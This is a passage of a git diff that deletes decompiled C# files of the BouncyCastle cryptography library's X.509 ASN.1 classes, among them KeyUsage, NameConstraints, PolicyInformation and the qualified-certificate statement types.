public static readonly KeyPurposeID IdKPIpsecUser = new KeyPurposeID("1.3.6.1.5.5.7.3.7"); - - public static readonly KeyPurposeID IdKPTimeStamping = new KeyPurposeID("1.3.6.1.5.5.7.3.8"); - - public static readonly KeyPurposeID IdKPOcspSigning = new KeyPurposeID("1.3.6.1.5.5.7.3.9"); - - public static readonly KeyPurposeID IdKPSmartCardLogon = new KeyPurposeID("1.3.6.1.4.1.311.20.2.2"); - - public static readonly KeyPurposeID IdKPMacAddress = new KeyPurposeID("1.3.6.1.1.1.1.22"); - - private KeyPurposeID(string id) - : base(id) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/KeyUsage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/KeyUsage.cs deleted file mode 100644 index 3b2ef59..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/KeyUsage.cs +++ /dev/null @@ -1,55 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public class KeyUsage : DerBitString -{ - public const int DigitalSignature = 128; - - public const int NonRepudiation = 64; - - public const int KeyEncipherment = 32; - - public const int DataEncipherment = 16; - - public const int KeyAgreement = 8; - - public const int KeyCertSign = 4; - - public const int CrlSign = 2; - - public const int EncipherOnly = 1; - - public const int DecipherOnly = 32768; - - public new static KeyUsage GetInstance(object obj) - { - if (obj is KeyUsage) - { - return (KeyUsage)obj; - } - if (obj is X509Extension) - { - return GetInstance(X509Extension.ConvertValueToObject((X509Extension)obj)); - } - return new KeyUsage(DerBitString.GetInstance(obj)); - } - - public KeyUsage(int usage) - : base(usage) - { - } - - private KeyUsage(DerBitString usage) - : base(usage.GetBytes(), usage.PadBits) - { - } - - public override string ToString() - { - byte[] bytes = GetBytes(); - if (bytes.Length == 1) - { - return "KeyUsage: 0x" + (bytes[0] & 0xFF).ToString("X"); - } - return "KeyUsage: 0x" + (((bytes[1] & 0xFF) << 8) | (bytes[0] & 0xFF)).ToString("X"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/NameConstraints.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/NameConstraints.cs deleted file mode 100644 index 684fea6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/NameConstraints.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class NameConstraints : Asn1Encodable -{ - private Asn1Sequence permitted; - - private Asn1Sequence excluded; - - public Asn1Sequence PermittedSubtrees => permitted; - - public Asn1Sequence ExcludedSubtrees => excluded; - - public static NameConstraints GetInstance(object obj) - { - if (obj == null || obj is NameConstraints) - { - return (NameConstraints)obj; - } - if (obj is Asn1Sequence) - { - return new NameConstraints((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public NameConstraints(Asn1Sequence seq) - { - foreach (Asn1TaggedObject item in seq) - { - switch (item.TagNo) - { - case 0: - permitted = Asn1Sequence.GetInstance(item, explicitly: false); - break; - case 1: - excluded = Asn1Sequence.GetInstance(item, explicitly: false); - break; - } - } - } - - public NameConstraints(ArrayList permitted, ArrayList excluded) - : this((IList)permitted, (IList)excluded) - { - } - - public NameConstraints(IList permitted, IList excluded) - { - if (permitted != null) - { - this.permitted = CreateSequence(permitted); - } - if (excluded != null) - { - this.excluded = CreateSequence(excluded); - } - } - - private DerSequence CreateSequence(IList subtrees) - { - GeneralSubtree[] array = new GeneralSubtree[subtrees.Count]; - for (int i = 0; i < subtrees.Count; i++) - { - array[i] = (GeneralSubtree)subtrees[i]; - } - return new DerSequence(array); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (permitted != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, permitted)); - } - if (excluded != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, excluded)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/NoticeReference.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/NoticeReference.cs deleted file mode 100644 index a7df906..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/NoticeReference.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.X509; - -public class NoticeReference : Asn1Encodable -{ - private readonly DisplayText organization; - - private readonly Asn1Sequence noticeNumbers; - - public virtual DisplayText Organization => organization; - - private static Asn1EncodableVector ConvertVector(IList numbers) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (object number in numbers) - { - DerInteger derInteger; - if (number is BigInteger) - { - derInteger = new DerInteger((BigInteger)number); - } - else - { - if (!(number is int)) - { - throw new ArgumentException(); - } - derInteger = new DerInteger((int)number); - } - asn1EncodableVector.Add(derInteger); - } - return asn1EncodableVector; - } - - public NoticeReference(string organization, IList numbers) - : this(organization, ConvertVector(numbers)) - { - } - - public NoticeReference(string organization, Asn1EncodableVector noticeNumbers) - : this(new DisplayText(organization), noticeNumbers) - { - } - - public NoticeReference(DisplayText organization, Asn1EncodableVector noticeNumbers) - { - this.organization = organization; - this.noticeNumbers = new DerSequence(noticeNumbers); - } - - private NoticeReference(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - organization = DisplayText.GetInstance(seq[0]); - noticeNumbers = Asn1Sequence.GetInstance(seq[1]); - } - - public static NoticeReference GetInstance(object obj) - { - if (obj is NoticeReference) - { - return (NoticeReference)obj; - } - if (obj == null) - { - return null; - } - return new NoticeReference(Asn1Sequence.GetInstance(obj)); - } - - public virtual DerInteger[] GetNoticeNumbers() - { - DerInteger[] array = new DerInteger[noticeNumbers.Count]; - for (int i = 0; i != noticeNumbers.Count; i++) - { - array[i] = DerInteger.GetInstance(noticeNumbers[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(organization, noticeNumbers); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ObjectDigestInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ObjectDigestInfo.cs deleted file mode 100644 index b3df242..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/ObjectDigestInfo.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class ObjectDigestInfo : Asn1Encodable -{ - public const int PublicKey = 0; - - public const int PublicKeyCert = 1; - - public const int OtherObjectDigest = 2; - - internal readonly DerEnumerated digestedObjectType; - - internal readonly DerObjectIdentifier otherObjectTypeID; - - internal readonly AlgorithmIdentifier digestAlgorithm; - - internal readonly DerBitString objectDigest; - - public DerEnumerated DigestedObjectType => digestedObjectType; - - public DerObjectIdentifier OtherObjectTypeID => otherObjectTypeID; - - public AlgorithmIdentifier DigestAlgorithm => digestAlgorithm; - - public DerBitString ObjectDigest => objectDigest; - - public static ObjectDigestInfo GetInstance(object obj) - { - if (obj == null || obj is ObjectDigestInfo) - { - return (ObjectDigestInfo)obj; - } - if (obj is Asn1Sequence) - { - return new ObjectDigestInfo((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static ObjectDigestInfo GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public ObjectDigestInfo(int digestedObjectType, string otherObjectTypeID, AlgorithmIdentifier digestAlgorithm, byte[] objectDigest) - { - this.digestedObjectType = new DerEnumerated(digestedObjectType); - if (digestedObjectType == 2) - { - this.otherObjectTypeID = new DerObjectIdentifier(otherObjectTypeID); - } - this.digestAlgorithm = digestAlgorithm; - this.objectDigest = new DerBitString(objectDigest); - } - - private ObjectDigestInfo(Asn1Sequence seq) - { - if (seq.Count > 4 || seq.Count < 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - digestedObjectType = DerEnumerated.GetInstance(seq[0]); - int num = 0; - if (seq.Count == 4) - { - otherObjectTypeID = DerObjectIdentifier.GetInstance(seq[1]); - num++; - } - digestAlgorithm = AlgorithmIdentifier.GetInstance(seq[1 + num]); - objectDigest = DerBitString.GetInstance(seq[2 + num]); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(digestedObjectType); - if (otherObjectTypeID != null) - { - asn1EncodableVector.Add(otherObjectTypeID); - } - asn1EncodableVector.Add(digestAlgorithm, objectDigest); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyInformation.cs deleted file mode 100644 index f136168..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyInformation.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class PolicyInformation : Asn1Encodable -{ - private readonly DerObjectIdentifier policyIdentifier; - - private readonly Asn1Sequence policyQualifiers; - - public DerObjectIdentifier PolicyIdentifier => policyIdentifier; - - public Asn1Sequence PolicyQualifiers => policyQualifiers; - - private PolicyInformation(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - policyIdentifier = DerObjectIdentifier.GetInstance(seq[0]); - if (seq.Count > 1) - { - policyQualifiers = Asn1Sequence.GetInstance(seq[1]); - } - } - - public PolicyInformation(DerObjectIdentifier policyIdentifier) - { - this.policyIdentifier = policyIdentifier; - } - - public PolicyInformation(DerObjectIdentifier policyIdentifier, Asn1Sequence policyQualifiers) - { - this.policyIdentifier = policyIdentifier; - this.policyQualifiers = policyQualifiers; - } - - public static PolicyInformation GetInstance(object obj) - { - if (obj == null || obj is PolicyInformation) - { - return (PolicyInformation)obj; - } - return new PolicyInformation(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(policyIdentifier); - if (policyQualifiers != null) - { - asn1EncodableVector.Add(policyQualifiers); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyMappings.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyMappings.cs deleted file mode 100644 index 793798a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyMappings.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Asn1.X509; - -public class PolicyMappings : Asn1Encodable -{ - private readonly Asn1Sequence seq; - - public PolicyMappings(Asn1Sequence seq) - { - this.seq = seq; - } - - public PolicyMappings(Hashtable mappings) - : this((IDictionary)mappings) - { - } - - public PolicyMappings(IDictionary mappings) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (string key in mappings.Keys) - { - string identifier = (string)mappings[key]; - asn1EncodableVector.Add(new DerSequence(new DerObjectIdentifier(key), new DerObjectIdentifier(identifier))); - } - seq = new DerSequence(asn1EncodableVector); - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyQualifierID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyQualifierID.cs deleted file mode 100644 index 27cb324..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyQualifierID.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509; - -public sealed class PolicyQualifierID : DerObjectIdentifier -{ - private const string IdQt = "1.3.6.1.5.5.7.2"; - - public static readonly PolicyQualifierID IdQtCps = new PolicyQualifierID("1.3.6.1.5.5.7.2.1"); - - public static readonly PolicyQualifierID IdQtUnotice = new PolicyQualifierID("1.3.6.1.5.5.7.2.2"); - - private PolicyQualifierID(string id) - : base(id) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyQualifierInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyQualifierInfo.cs deleted file mode 100644 index aa0a113..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PolicyQualifierInfo.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.X509; - -public class PolicyQualifierInfo : Asn1Encodable -{ - private readonly DerObjectIdentifier policyQualifierId; - - private readonly Asn1Encodable qualifier; - - public virtual DerObjectIdentifier PolicyQualifierId => policyQualifierId; - - public virtual Asn1Encodable Qualifier => qualifier; - - public PolicyQualifierInfo(DerObjectIdentifier policyQualifierId, Asn1Encodable qualifier) - { - this.policyQualifierId = policyQualifierId; - this.qualifier = qualifier; - } - - public PolicyQualifierInfo(string cps) - { - policyQualifierId = PolicyQualifierID.IdQtCps; - qualifier = new DerIA5String(cps); - } - - private PolicyQualifierInfo(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - policyQualifierId = DerObjectIdentifier.GetInstance(seq[0]); - qualifier = seq[1]; - } - - public static PolicyQualifierInfo GetInstance(object obj) - { - if (obj is PolicyQualifierInfo) - { - return (PolicyQualifierInfo)obj; - } - if (obj == null) - { - return null; - } - return new PolicyQualifierInfo(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(policyQualifierId, qualifier); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PrivateKeyUsagePeriod.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PrivateKeyUsagePeriod.cs deleted file mode 100644 index 7536837..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/PrivateKeyUsagePeriod.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509; - -public class PrivateKeyUsagePeriod : Asn1Encodable -{ - private DerGeneralizedTime _notBefore; - - private DerGeneralizedTime _notAfter; - - public DerGeneralizedTime NotBefore => _notBefore; - - public DerGeneralizedTime NotAfter => _notAfter; - - public static PrivateKeyUsagePeriod GetInstance(object obj) - { - if (obj is PrivateKeyUsagePeriod) - { - return (PrivateKeyUsagePeriod)obj; - } - if (obj is Asn1Sequence) - { - return new PrivateKeyUsagePeriod((Asn1Sequence)obj); - } - if (obj is X509Extension) - { - return GetInstance(X509Extension.ConvertValueToObject((X509Extension)obj)); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - private PrivateKeyUsagePeriod(Asn1Sequence seq) - { - foreach (Asn1TaggedObject item in seq) - { - if (item.TagNo == 0) - { - _notBefore = DerGeneralizedTime.GetInstance(item, isExplicit: false); - } - else if (item.TagNo == 1) - { - _notAfter = DerGeneralizedTime.GetInstance(item, isExplicit: false); - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (_notBefore != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, _notBefore)); - } - if (_notAfter != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, _notAfter)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/BiometricData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/BiometricData.cs deleted file mode 100644 index 82b5add..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/BiometricData.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public class BiometricData : Asn1Encodable -{ - private readonly TypeOfBiometricData typeOfBiometricData; - - private readonly AlgorithmIdentifier hashAlgorithm; - - private readonly Asn1OctetString biometricDataHash; - - private readonly DerIA5String sourceDataUri; - - public TypeOfBiometricData TypeOfBiometricData => typeOfBiometricData; - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public Asn1OctetString BiometricDataHash => biometricDataHash; - - public DerIA5String SourceDataUri => sourceDataUri; - - public static BiometricData GetInstance(object obj) - { - if (obj == null || obj is BiometricData) - { - return (BiometricData)obj; - } - if (obj is Asn1Sequence) - { - return new BiometricData(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - private BiometricData(Asn1Sequence seq) - { - typeOfBiometricData = TypeOfBiometricData.GetInstance(seq[0]); - hashAlgorithm = AlgorithmIdentifier.GetInstance(seq[1]); - biometricDataHash = Asn1OctetString.GetInstance(seq[2]); - if (seq.Count > 3) - { - sourceDataUri = DerIA5String.GetInstance(seq[3]); - } - } - - public BiometricData(TypeOfBiometricData typeOfBiometricData, AlgorithmIdentifier hashAlgorithm, Asn1OctetString biometricDataHash, DerIA5String sourceDataUri) - { - this.typeOfBiometricData = typeOfBiometricData; - this.hashAlgorithm = hashAlgorithm; - this.biometricDataHash = biometricDataHash; - this.sourceDataUri = sourceDataUri; - } - - public BiometricData(TypeOfBiometricData typeOfBiometricData, AlgorithmIdentifier hashAlgorithm, Asn1OctetString biometricDataHash) - { - this.typeOfBiometricData = typeOfBiometricData; - this.hashAlgorithm = hashAlgorithm; - this.biometricDataHash = biometricDataHash; - sourceDataUri = null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(typeOfBiometricData, hashAlgorithm, biometricDataHash); - if (sourceDataUri != null) - { - asn1EncodableVector.Add(sourceDataUri); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/EtsiQCObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/EtsiQCObjectIdentifiers.cs deleted file mode 100644 index 44e50db..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/EtsiQCObjectIdentifiers.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public abstract class EtsiQCObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdEtsiQcs = new DerObjectIdentifier("0.4.0.1862.1"); - - public static readonly DerObjectIdentifier IdEtsiQcsQcCompliance = new DerObjectIdentifier(string.Concat(IdEtsiQcs, ".1")); - - public static readonly DerObjectIdentifier IdEtsiQcsLimitValue = new DerObjectIdentifier(string.Concat(IdEtsiQcs, ".2")); - - public static readonly DerObjectIdentifier IdEtsiQcsRetentionPeriod = new DerObjectIdentifier(string.Concat(IdEtsiQcs, ".3")); - - public static readonly DerObjectIdentifier IdEtsiQcsQcSscd = new DerObjectIdentifier(string.Concat(IdEtsiQcs, ".4")); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/Iso4217CurrencyCode.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/Iso4217CurrencyCode.cs deleted file mode 100644 index d9a7e1c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/Iso4217CurrencyCode.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public class Iso4217CurrencyCode : Asn1Encodable, IAsn1Choice -{ - internal const int AlphabeticMaxSize = 3; - - internal const int NumericMinSize = 1; - - internal const int NumericMaxSize = 999; - - internal Asn1Encodable obj; - - public bool IsAlphabetic => obj is DerPrintableString; - - public string Alphabetic => ((DerPrintableString)obj).GetString(); - - public int Numeric => ((DerInteger)obj).Value.IntValue; - - public static Iso4217CurrencyCode GetInstance(object obj) - { - if (obj == null || obj is Iso4217CurrencyCode) - { - return (Iso4217CurrencyCode)obj; - } - if (obj is DerInteger) - { - DerInteger instance = DerInteger.GetInstance(obj); - int intValue = instance.Value.IntValue; - return new Iso4217CurrencyCode(intValue); - } - if (obj is DerPrintableString) - { - DerPrintableString instance2 = DerPrintableString.GetInstance(obj); - return new Iso4217CurrencyCode(instance2.GetString()); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public Iso4217CurrencyCode(int numeric) - { - if (numeric > 999 || numeric < 1) - { - throw new ArgumentException("wrong size in numeric code : not in (" + 1 + ".." + 999 + ")"); - } - obj = new DerInteger(numeric); - } - - public Iso4217CurrencyCode(string alphabetic) - { - if (alphabetic.Length > 3) - { - throw new ArgumentException("wrong size in alphabetic code : max size is " + 3); - } - obj = new DerPrintableString(alphabetic); - } - - public override Asn1Object ToAsn1Object() - { - return obj.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/MonetaryValue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/MonetaryValue.cs deleted file mode 100644 index dc7079a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/MonetaryValue.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public class MonetaryValue : Asn1Encodable -{ - internal Iso4217CurrencyCode currency; - - internal DerInteger amount; - - internal DerInteger exponent; - - public Iso4217CurrencyCode Currency => currency; - - public BigInteger Amount => amount.Value; - - public BigInteger Exponent => exponent.Value; - - public static MonetaryValue GetInstance(object obj) - { - if (obj == null || obj is MonetaryValue) - { - return (MonetaryValue)obj; - } - if (obj is Asn1Sequence) - { - return new MonetaryValue(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - private MonetaryValue(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - currency = Iso4217CurrencyCode.GetInstance(seq[0]); - amount = DerInteger.GetInstance(seq[1]); - exponent = DerInteger.GetInstance(seq[2]); - } - - public MonetaryValue(Iso4217CurrencyCode currency, int amount, int exponent) - { - this.currency = currency; - this.amount = new DerInteger(amount); - this.exponent = new DerInteger(exponent); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(currency, amount, exponent); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/QCStatement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/QCStatement.cs deleted file mode 100644 index dc58688..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/QCStatement.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public class QCStatement : Asn1Encodable -{ - private readonly DerObjectIdentifier qcStatementId; - - private readonly Asn1Encodable qcStatementInfo; - - public DerObjectIdentifier StatementId => qcStatementId; - - public Asn1Encodable StatementInfo => qcStatementInfo; - - public static QCStatement GetInstance(object obj) - { - if (obj == null || obj is QCStatement) - { - return (QCStatement)obj; - } - if (obj is Asn1Sequence) - { - return new QCStatement(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - private QCStatement(Asn1Sequence seq) - { - qcStatementId = DerObjectIdentifier.GetInstance(seq[0]); - if (seq.Count > 1) - { - qcStatementInfo = seq[1]; - } - } - - public QCStatement(DerObjectIdentifier qcStatementId) - { - this.qcStatementId = qcStatementId; - } - - public QCStatement(DerObjectIdentifier qcStatementId, Asn1Encodable qcStatementInfo) - { - this.qcStatementId = qcStatementId; - this.qcStatementInfo = qcStatementInfo; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(qcStatementId); - if (qcStatementInfo != null) - { - asn1EncodableVector.Add(qcStatementInfo); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/Rfc3739QCObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/Rfc3739QCObjectIdentifiers.cs deleted file mode 100644 index 27be4fe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/Rfc3739QCObjectIdentifiers.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public sealed class Rfc3739QCObjectIdentifiers -{ - public static readonly DerObjectIdentifier IdQcs = new DerObjectIdentifier("1.3.6.1.5.5.7.11"); - - public static readonly DerObjectIdentifier IdQcsPkixQCSyntaxV1 = new DerObjectIdentifier(string.Concat(IdQcs, ".1")); - - public static readonly DerObjectIdentifier IdQcsPkixQCSyntaxV2 = new DerObjectIdentifier(string.Concat(IdQcs, ".2")); - - private Rfc3739QCObjectIdentifiers() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/SemanticsInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/SemanticsInformation.cs deleted file mode 100644 index 79d0ed6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/SemanticsInformation.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public class SemanticsInformation : Asn1Encodable -{ - private readonly DerObjectIdentifier semanticsIdentifier; - - private readonly GeneralName[] nameRegistrationAuthorities; - - public DerObjectIdentifier SemanticsIdentifier => semanticsIdentifier; - - public static SemanticsInformation GetInstance(object obj) - { - if (obj == null || obj is SemanticsInformation) - { - return (SemanticsInformation)obj; - } - if (obj is Asn1Sequence) - { - return new SemanticsInformation(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public SemanticsInformation(Asn1Sequence seq) - { - if (seq.Count < 1) - { - throw new ArgumentException("no objects in SemanticsInformation"); - } - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - object obj = enumerator.Current; - if (obj is DerObjectIdentifier) - { - semanticsIdentifier = DerObjectIdentifier.GetInstance(obj); - obj = ((!enumerator.MoveNext()) ? null : enumerator.Current); - } - if (obj != null) - { - Asn1Sequence instance = Asn1Sequence.GetInstance(obj); - nameRegistrationAuthorities = new GeneralName[instance.Count]; - for (int i = 0; i < instance.Count; i++) - { - nameRegistrationAuthorities[i] = GeneralName.GetInstance(instance[i]); - } - } - } - - public SemanticsInformation(DerObjectIdentifier semanticsIdentifier, GeneralName[] generalNames) - { - this.semanticsIdentifier = semanticsIdentifier; - nameRegistrationAuthorities = generalNames; - } - - public SemanticsInformation(DerObjectIdentifier semanticsIdentifier) - { - this.semanticsIdentifier = semanticsIdentifier; - } - - public SemanticsInformation(GeneralName[] generalNames) - { - nameRegistrationAuthorities = generalNames; - } - - public GeneralName[] GetNameRegistrationAuthorities() - { - return nameRegistrationAuthorities; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (semanticsIdentifier != null) - { - asn1EncodableVector.Add(semanticsIdentifier); - } - if (nameRegistrationAuthorities != null) - { - asn1EncodableVector.Add(new DerSequence(nameRegistrationAuthorities)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/TypeOfBiometricData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/TypeOfBiometricData.cs deleted file mode 100644 index ea3a6b3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/X509/Qualified/TypeOfBiometricData.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.X509.Qualified; - -public class TypeOfBiometricData : Asn1Encodable, IAsn1Choice -{ - public const int Picture = 0; - - public const int HandwrittenSignature = 1; - - internal Asn1Encodable obj; - - public bool IsPredefined => obj is DerInteger; - - public int PredefinedBiometricType => ((DerInteger)obj).Value.IntValue; - - public DerObjectIdentifier BiometricDataOid => 